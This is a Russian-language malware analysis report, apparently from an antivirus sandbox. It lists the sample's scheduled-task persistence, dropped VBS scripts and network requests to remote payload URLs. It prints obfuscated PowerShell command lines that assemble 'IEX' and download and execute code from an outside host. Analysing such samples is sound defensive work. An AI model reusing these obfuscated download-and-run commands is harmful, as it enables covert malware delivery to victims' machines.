Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\host
- <SYSTEM32>\tasks\cross
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $G='^EX'.replace('^','I');sal B $G;'(&(G'+'C'+'M *W-'+'O*)'+'Ne'+'t.WebCli'+'ent).D'+'ownlo'+'ad'+'Strin'+'g(''http://20#.#46.68.214/abc/attack.jpg'')'|B|B
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = [char]73;$a2=[char]69;$a3=[char]88;sal K $a$a2$a3;$ASIOjariqEqfa5s4fd6as5=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,97,108,32,...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = [char]73;$a2=[char]69;$a3=[char]88;sal K $a$a2$a3;$DaouedIQJeq4G61DQT8798QWR=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,97,108,...
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\rvgup.vbs
- %APPDATA%\njup.vbs
- %LOCALAPPDATA%\microsoft\njup.vbs
Сетевая активность
TCP
Запросы HTTP GET
- http://20#.#46.68.214/abc/attack.jpg
- http://20#.#46.68.214/abc/revenge.jpg
- http://20#.#46.68.214/abc/njnyan.jpg
- http://re#####ismbrasil.com/janeiro/revenge33333portporcento.jpg
- http://re#####ismbrasil.com/janeiro/nj3333nyarroba.jpg
UDP
- DNS ASK re#####ismbrasil.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%APPDATA%\rvgup.vbs"
- '<SYSTEM32>\wscript.exe' "%APPDATA%\njup.vbs"
- '<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\Microsoft\njup.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $G='^EX'.replace('^','I');sal B $G;'(&(G'+'C'+'M *W-'+'O*)'+'Ne'+'t.WebCli'+'ent).D'+'ownlo'+'ad'+'Strin'+'g(''http://20#.#46.68.214/abc/attack.jpg'')'|B|B' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = [char]73;$a2=[char]69;$a3=[char]88;sal K $a$a2$a3;$ASIOjariqEqfa5s4fd6as5=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,97,108,32,...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = [char]73;$a2=[char]69;$a3=[char]88;sal K $a$a2$a3;$DaouedIQJeq4G61DQT8798QWR=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,97,108,...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c copy "%APPDATA%\njup.vbs " "%LOCALAPPDATA%\Microsoft" /Y' (со скрытым окном)
- '<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\Microsoft\njup.vbs"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c copy "%LOCALAPPDATA%\Microsoft\njup.vbs" "%LOCALAPPDATA%\Microsoft" /Y' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c copy "%APPDATA%\njup.vbs " "%LOCALAPPDATA%\Microsoft" /Y
- '<SYSTEM32>\taskeng.exe' {786C29E6-D7C6-4B48-B5CA-B96811A25BA1} S-1-5-21-1960123792-2022915161-3775307078-1001:lzbaxdipw\user:Interactive:[1]
- '<SYSTEM32>\cmd.exe' /c copy "%LOCALAPPDATA%\Microsoft\njup.vbs" "%LOCALAPPDATA%\Microsoft" /Y
